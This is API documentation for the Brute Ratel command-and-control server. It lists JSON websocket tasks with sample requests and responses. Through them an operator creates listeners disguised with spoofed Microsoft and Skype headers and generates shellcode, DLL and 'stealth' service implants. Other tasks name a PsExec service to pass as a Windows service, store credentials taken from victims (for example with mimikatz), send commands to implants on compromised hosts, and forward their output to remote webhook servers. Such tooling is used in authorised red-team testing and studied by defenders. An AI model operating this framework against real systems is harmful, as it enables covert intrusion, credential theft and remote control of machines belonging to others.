

Brute Ratel Documentation

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Ratel Server

Ratel server responses have some parameters which are common across all responses. These are: *access*, *status* and *task*. The *access* key specifies whether the current user's access token is valid. The *status* key specifies the execution success status of the request. If the request was not executed either due to incorrect value or any other environmental reasons, the return value will be false, else true. The *task* key specifies the response is from which requested task. This can be helpful when querying multiple requests for parsing the appropriate response. Some requests will have the response under task id 24. This just means the response is a broadcast message which will be delivered to all connected users.

Login (HTTP) – No Task ID

Description	HTTP Post request is required to get a token. This token should be used in a Websocket request for handler interaction. Task ID is not required.	
Parameters	user	Username
	pass	Password
Request	{ "creds": { "pass": "admin", "user": "admin" } }	
Response	{ "access": true, "is_admin": true, "status": true, "token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1" }	

Task 0: Authorization (Websocket)

Description	Validates authorization of cookie over a websocket session. Returns detailed server information.	
Parameters	task:	0
	user:	Username
	token:	Token received from login
Request	{ "creds": { "token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1", "user": "admin" }, "task": 0 }	
Response	Large blob of server metadata containing server version, user details, commands available. The output is non-essential for automation purpose.	

Task 1: Logout (Websocket)

Description	Logs out existing user and disables user cookie	
Parameters	task	1
Request	{ "task": 1 }	
Response	{ "access": false, "status": true, "task": 1, }	

Task 2: Create User (Websocket)

Description	Creates a new non-admin user	
Parameters	task	2
	user	Username of new user
	pass	Password of new user
Request	{ "create": { "pass": "ratel", "user": "ratel" }, "task": 2 }	
Response	{ "access": true, "status": true, "task": 24, "users": { "active": { "admin": "02-06-2022 17:36:18" }, "inactive": { } } }	

Task 3: Delete User (Websocket)

Description	Deletes an existing user with all of user's cookies and .permissions	
Parameters	task	3
	delete	Username to delete
Request	{ "delete": "ratel", "task": 3 }	
Response	{ "access": true, "status": true, "task": 24, "users": { "active": { "admin": "07-05-2020 08:44:33" }, "inactive": { } } }	

Task 4: Reset User Password (Websocket)

Description	Resets a users password	
Parameters	task	4
	user	Username to reset
	pass	New password for user
Request	{ "k_user": { "pass": "newpass", "user": "ratel" }, "task": 4 }	
Response	{ "access": true, "status": true, "task": 24, "users": { "active": { "admin": "07-05-2020 08:44:33" }, "inactive": { "ratel": "07-05-2020 09:07:33" } } }	

Task 5: List User (Websocket)

Description	Lists all users	
Parameters	task	5
Request	{ "task": 5 }	
Response	{ "access": true, "status": true, "task": 5, "users": { "active": { "admin": "07-05-2020 09:17:44" }, "inactive": {} } }	

Task 6: Create Listener (HTTP/DNS) (Websocket)

Description	Creates different types of listener	
Parameters	task	6
	append	This field contains the value to append the badger's pos request in a malleable profile
	prepend	This field contains the value to prepend the badger's pos request in a malleable profile
	auth_count	This field indicates the number of passwords to be set
	auth_type	This field can be true or false. It indicates if auth is One Time Auth or Regular
	c2_authkeys	This field can contain on or more set of listener keys. Badger authenticates to this key. If <i>is_random</i> field is true, this field is set automatically. If <i>auth_count</i> is more than one and <i>is_random</i> is set, this field is set automatically
	c2_uri	List of URIs that badger will connect back to
	die_offline	This field can be true or false. If the value is true, it means the badger should die if it is unable to connect to the C2, else vice versa.
	extra_headers	This field contains a key value pair of header names and their values.
	host	Network interface IP which will be binded for listening
	is_random	If this field is true, <i>c2_authkeys</i> is set automatically
	listener_name	Name of the listener
	os_type	Type of payload: Current limited to windows
	port	Port to listen on
	rotational_host	This field can contain a list of IP/Domain/Redirector domain/Fronted domain seperated by commas
	useragent	The useragent for the payload
	ssl	True or false
Request	Random key for Regular auth	<pre>{ "listener": { "listener_name": "json-c2", "append": "\", "append_response": "\", "auth_count": 1, "auth_type": false, "c2_authkeys": ["abcd@123"], "c2_uri": ["en/ec2/pricing/", "?locale=en"], "die_offline": false, "empty_response": "{\\"Info\\":\\"Ok\\"}", "request_headers": { "content-type": "application/json", "referrer": "microsoft.com",</pre>

		<pre> "Host": "microsoft.com" }, "response_headers": { "Server": "Apache/2.2.14 (Win32)", "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", "X-Cache-Info": "not cacheable; meta data too large" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{\"channel\\\":\\\"\", "prepend_response": "{\"Output\\\":\\\"\", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "sleep": 2, "jitter": 0, "obfsleep": "Pooling-0" }, "task": 6 } </pre>
	Custom key for One Time Auth	<pre> { "listener": { "append": "\\\"", "auth_count": 0, "auth_type": true, "c2_authkeys": ["abcd@123"], "c2_uri": ["test", "login", "bootstrap"], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": false, "listener_name": "auto-869804a3", "os_type": "windows", "port": "443", "prepend": "{\"sample_json\\\":\\\"\", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "task": 6 } </pre>

	Multiple random keys for One Time Auth	<pre> { "listener": { "append": "\"\"", "auth_count": 6, "auth_type": true, "c2_authkeys": [], "c2_uri": ["test", "login", "bootstrap"], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "listener_name": "auto-869804a3", "os_type": "windows", "port": "443", "prepend": "{\\"sample_json\\":\\"\"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "task": 6 } </pre>
Response		<pre> { "access": true, "listeners": { "auto-869804a3": { "append": "\"\"", "auth_count": 1, "auth_type": false, "c2_authkeys": ["JKVM34MH5KB0LMQE"], "c2_uri": ["test", "login", "bootstrap"], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{\\"sample_json\\":\\"\"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, </pre>

	<pre>"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "status": true, "task": 24 } }</pre>
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Task 7: Stop Listener (Websocket)

Description	Stop a running listener with the listener name	
Parameters	task	7
	listener	Name of the listener to stop
Request	<pre>{ "listener": "auto-869804a3", "task": 7 }</pre>	
Response	<pre>{ "access": true, "status": true, "task": 7 }</pre>	

Task 8: List Listener (Websocket)

Description	Lists running listeners	
Parameters	task	8
Request	{ "task": 8 }	
Response	{ "access": true, "listeners": { "auto-869804a3": { "append": "\"\"", "auth_count": 1, "auth_type": false, "c2_authkeys": ["JKVM34MH5KB0LMQE"], "c2_uri": ["test", "login", "bootstrap"], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{\\"sample_json\\":\\"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" } }, "status": true, "task": 8 }	

Task 9: Host File On Listener (Websocket)

Description	Host a new file on the server	
Parameters	task	9
	buffer	Base64 encoded content of file to host
	listener_name	Listener to modify
	mime_type	Custom mime-type for hosted file
	uri	URI to add (name of the file/uri which will be accessed)
Request	Host a file to server	<pre>{ "listener_uri": { "buffer": "SGVsbG8gd29ybGQK", "listener_name": "auto-869804a3", "mime_type": "text/plain", "uri": "test.txt" }, "task": 9 }</pre>
Response	<pre>{ "access": true, "listeners": { "auto-869804a3": { "append": "\", "auth_count": 1, "auth_type": false, "c2_authkeys": ["abcd@123"], "c2_uri": ["en/ec2/pricing/", "?locale=en"], "die_offline": false, "extra_headers": { "content-type": "application/json" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{\\"channel\\":\\"\"", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" } }, "status": true, "task": 24 }</pre>	

Task 10: Stop Hosted File On Listener (Websocket)

Description	Host a file on a new URI	
Parameters	task	10
	c2_uri	Listener name and URI path to remove seperated by a slash
Request	{ "hosted": "auto-869804a3/test.txt" "task": 10 }	
Response	{ "access": true, "hosted": { }, "status": true, "task": 10 }	

Task 11: List Hosted Files On Listener (Websocket)

Description	Show hosted files	
Parameters	task	11
Request	{ "task": 11 }	
Response	{ "access": true, "hosted": { "auto-869804a3/test.txt": "text/plain" }, "status": true, "task": 11 }	

Task 13: PsExec Configuration (Websocket)

Description	Show or manage PsExec configuration	
Parameters	task	13
	type	This field can contain 'psexec_config' or 'update' depending on what task is being performed
	svc_desc	Name of the description for the service when building the service for the 'psexec' command
	svc_name	Name of the service to build when using the 'psexec' command
Request	View psexec configuration	{ "task": 13, "type": "psexec_config" }
	Configure psexec	{ "svc_desc": "test description for psexec badger service", "svc_name": "Badger Service", "task": 13, "type": "update" }
Response	View Response	{ "access": true, "psexec_config": { "svc_desc": "Manages universal application core process that in Windows 8 and continues in Windows 10. It is used to determine whether universal apps installed from the Windows Store are declaring all of their permissions, like being able to access your telemetry, location or microphone. It helps to transact records of your universal apps with the trust and privacy settings of user.", "svc_name": "TransactionBrokerService" }, "status": true, "task": 13, "type": "psexec_config" }
	Modify PsExec	{ "access": true, "status": true, "task": 13, "type": "update" }

Task 14: Manage Compromised Credentials (Websocket)

Description	Add or remove credentials	
Parameters	task	14
	crednote	Credentials notes
	credpass	Password
	credsrc	Source of credentials
	creduser	Username
Request	Add Credentials	{ "add_creds": { "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" }, "task": 14 }
	Remove Credentials	{ "del_creds": { "crednote": "from host xyz", "credpass": "pass123", "credsrc": "mimikatz", "creduser": "ninja" }, "task": 14 }
Response	Add Credentials	{ "access": true, "credentials": [{ "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" }], "status": true, "task": 24 }
	Remove Credentials	{ "access": true, "credentials": [], "status": true, "task": 24 }

Task 15: List Compromised Credentials (Websocket)

Description	List all compromised credentials	
Parameters	task	15
Request	{ "task": 15 }	
Response	{ "access": true, "credentials": [{ "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" }], "status": true, "task": 15 }	

Task 16: List All Badgers (Websocket)

Description	List all connected badgers	
Parameters	task	16
Request	{ "task": 16 }	
Response	{ "access": true, "badgers": { "b-0": { "b_arch": "x64", "b_bld": "18363", "b_c2": "https://172.16.219.1:443", "b_c2_id": "auto-869804a3", "b_cookie": "VUHMA3QT10CBCK815D6KQ0VMGBRBE3R0", "b_h_name": "DESKTOP-G15FRLS", "b_l_ip": "172.16.219.1", "b_p_name": "Z:\\documents\\badger_x64.exe", "b_pid": "9144", "b_seen": "02-06-2022 19:31:28", "b_uid": "vendetta", "b_wver": "x64/10.0", "dead": false, "is_pvt": false, "pipeline": "Direct", "pvt_master": "" } }, "status": true, "task": 16 }	

Task 17: Send Badger Command (Websocket)

Description	Send a command to badger	
Parameters	task	17
	badger	Badger id
	cmd	Command to send (All arguments are seperated by a space. Local PE files (C#/powershell) are sent as base64 encoded buffers
Request	{ "bgr_cmd": { "badger": "b-0", "cmd": "pwd" }, "task": 17 }	
Response	{ "access": true, "status": true, "task": 17 }	

Task 18: Send Bulk Badger Query (Websocket)

Description	Send command to all badgers connected to a specific listener	
Parameters	task	18
	cmd	Command which will be sent to all the badgers in a listener
	listener	Name of the listener to query in bulk
Request	{ "blkconfig": { "cmd": "pwd", "listener": "json-c2" }, "task": 18 }	
Response	{ "access": true, "badger_count": "4", "status": true, "task": 18 }	

Task 19: List Command Queue (Websocket)

Description	List queued commands for badgers	
Parameters	task	19
Request	{ "task": 19 }	
Response	{ "b-0": ["pwd", "pwd"], "b-1": ["pwd"], "b-2": ["pwd"], "b-3": ["pwd"] }	

Task 20: Clear Badger Queue (Websocket)

Description	Clear all queued commands for a badger	
Parameters	task	20
	badger	Badger id
Request	{ "bgr_rst": { "badger": "b-0" }, "task": 20 }	
Response	{ "access": true, "status": true, "task": 20 }	

Task 21: Change Listener Password (Websocket)

Description	Change Listener Password	
Parameters	task	21
	listener	Listener whose password is to be changed
	pass	New password. This can be a list of comma seperated values, if multiple one time passwords need to be added.
Request	<pre>{ "set": { "listener": "primary-c2", "pass": ["abcd@123"] }, "task": 21 }</pre>	
Response	<pre>{ "access": true, "status": true, "task": 21 }</pre>	

Task 22: List Server Configuration (Websocket)

Description	List configuration for the whole server. This can be used to create a new C2 profile while starting the ratel server	
Parameters	task	22
Request	<pre>{ "task": 22 }</pre>	
Response	A large blob of full server metadata	

Task 30: Create/Modify Payload Profile (Websocket)

Description	The default task is to create a payload profile. If a profile already exists under the same name, then it is overwritten with the updated profile	
Parameters	task	30
	payload_config	Contains a key value pair of new payload profiles to add, key being the name of the profile, and value containing another json object
	append	This field contains the value to append the badger's pos request in a malleable profile
	c2_auth	This field contain the authentication key required to connect to the listener
	c2_uri	List of URIs that badger will connect back to
	die_offline	This field can be true or false. If the value is true, it means the badger should die if it is unable to connect to the C2, else vice versa.
	extra_headers	This field contains a key value pair of header names and their values.
	host	This field can contain a list of IP/Domain/Redirector domain/Fronted domain seperated by commas. For a TCP payload, this can be a single IP or multiple IP addresses.
	port	Port to listen on
	prepend	This field contains the value to prepend the badger's pos request in a malleable profile
	ssl	True or false
	type	Type can be HTTP, SMB or TCP depending on the type of profile being added
	useragent	The useragent for the payload
	smb_pipe	Name of the SMB pipe (only for SMB payloads)
	show	Should be false unless GUI is being used
Request	Add/Modify HTTP profile	<pre>{ "payload_config": { "test-profile": { "append": "\\", "append_response": "\\", "auth_count": 1, "auth_type": false, "c2_authkeys": ["abcd@123"], "c2_uri": ["en/ec2/pricing/", "?locale=en"], "die_offline": false, "empty_response": "{\"Info\":\"Ok\"}", "request_headers": { "content-type": "application/json", "referrer": "microsoft.com", "Host": "microsoft.com" } } }, }</pre>

		<pre> "response_headers": { "Server": "Apache/2.2.14 (Win32)", "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", "X-Cache-Info": "not cacheable; meta data too large" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{\\"channel\\":\\"", "prepend_response": "{\\"Output\\":\\"", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "sleep": 2, "jitter": 0, "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } </pre>
	Add/Modify SMB Profile	<pre> { "payload_config": { "main_smb2": { "c2_auth": "abcd@123", "smb_pipe": "\\\\.\\pipe\\mynamedpipe", "type": "SMB", "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } </pre>
	Add/Modify TCP Profile	<pre> { "payload_config": { "main_tcp2": { "c2_auth": "abcd@123", "host": "127.0.0.1", "port": "10000", "type": "TCP", "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } </pre>
Response	Json response containing the profile which was successfully added	

Task 31: View Payload Configuration (Websocket)

Description	View all payload profiles	
Parameters	task	31
	edit	This field should be false if a profile is being view. If an existing profile is being added, this will be true and the same information sent in Task 30 can be sent over here.
Request	<pre>{ "edit": false, "task": 31 }</pre>	
Response	<pre>{ "access": true, "edit": false, "payload_config": { "auto-869804a3": { "append": "\\", "c2_auth": "abcd@123", "c2_uri": ["en/ec2/pricing/", "?locale=en"], "die_offline": false, "extra_headers": { "content-type": "application/json" }, "host": "172.16.219.1", "port": "443", "prepend": "{\\"channel\\":\\"'", "ssl": true, "type": "HTTP", "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "main_smb": { "c2_auth": "abcd@123", "smb_pipe": "\\\\.\\pipe\\mynamedpipe", "type": "SMB" }, "main_tcp": { "c2_auth": "abcd@123", "host": "127.0.0.1", "port": "10000", "type": "TCP" } }, "status": true, "task": 31 }</pre>	

Task 32: Delete Payload Profile (Websocket)

Description	Deletes an existing payload profile	
Parameters	task	32
	payload_config	Name of the payload profile
Request	{ "payload_config": "test-profile", "task": 32 }	
Response	Remaining json profiles or an empty json profile if no more profiles exist	

Task 36: Generate Payload (Websocket)

Description	Build a tcp/smb/http/dns payload	
Parameters	task	36
	payload_arch	This field contains 0 or 1. 0 means arch type x86, whereas 1 means x64
	payload_config_name	The name of the config on the server from which the payload needs to be generated
	payload_type	The payload types be the following: 0: ret shellcode 1: rtl shellcode 2: wait shellcode 4: dll 5: service exe 7: stealth ret 8. stealth rtl 9. stealth wait 10. stealth service exe The response will be base64 encoded
	save_path	The local path where the payload needs to be saved
	svc_desc	The service description (optional and only valid for service payload_type)
	svc_name	The service name (optional and only valid for service payload_type)
Request	{ "payload_arch": 1, "payload_config_name": "auto-json-c2", "payload_type": 0, "save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin", "svc_desc": "NA", "svc_name": "NA", "task": 36 }	
Response	{ "access": true, "payload_dat": "TVqQAAMAAAEAAAA", "ptype": 2, "save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin", "status": true, "task": 36 }	

Task 40: Enable Staging on HTTP Listener (Websocket)

Description	Enable HTTP Staging	
Parameters	task	40
	build	false
	listener_name	Json-c2 (name of the listener)
Request	{ "task": 40, "build": false, "listener_name": "json-c2" }	
Response	Returns staging listener name and payload configuration of the stage enabled	

Task 41: Disable Staging on HTTP Listener (Websocket)

Description	Disable HTTP Staging	
Parameters	task	41
	remove	true
	listener_name	Json-c2 (name of the listener)
Request	{ "task": 41, "listener_name": "json-c2", "remove": true }	
Response	{ "access": true, "listener_name": "json-c2", "remove": true, "status": true, "task": 41 }	

Task 45: Manage WebHooks (Websocket)

Description	Start or stop a configured webhook. Webhooks can be used to forward badger output (either just the initial access or fully detailed outputs to remote servers, where automation can be performed by parsing found strings in the output)	
Parameters	task	45
	webhook	Contains a key value pair of the settings for webhook to be configured
	badger_init	If this is true, the initial connection of badger and badger's metadata will be forwarded to the user's server
	badger_log	If this is true, all of badger's output will be forwarded to the user's server
	listener	The name of the listener on which the webhook needs to be enabled
	start	This field specified whether the webhook needs to be started or stopped
	webhook_host	The host on which the logs/metadata of the badger needs to be forwarded
Request	Enable webhook	<pre>{ "task": 45, "webhook": { "badger_init": true, "badger_log": true, "listener": "json-c2", "start": true, "webhook_host": "https://evasionlabs.com" } }</pre>
	Disable webhook	<pre>{ "task": 45, "webhook": { "listener": "json-c2", "stop": true } }</pre>
Response	Enable webhook	<pre>{ "access": true, "listener": "json-c2", "status": true, "task": 45 }</pre>
	Disable webhook	<pre>{ "access": true, "status": true, "task": 45 }</pre>

Task 46: Switch Badger Profile (Websocket)

Description	Change badger's malleable profile. Make note the badger needs to exist for this to work	
Parameters	task	46
	profile	Payload profile name
	bgrlist	An array of badgers whose profile needs to be changed
Request	{ "task": 46, "profile": "auto-json-c2", "bgrlist": ["b-0", "b-1"] }	
Response	{ "access":true, "status":true, "task":46 }	

Task 58: Add Note To Badger (Websocket)

Description	Add note against a badger	
Parameters	task	58
	badger	The badger ID (b-0)
	note	The note to be added
Request	{ "task": 58, "badger": "b-0", "note": "sample note for badger zero" }	
Response	{ "access":true, "status":true, "task":58 }	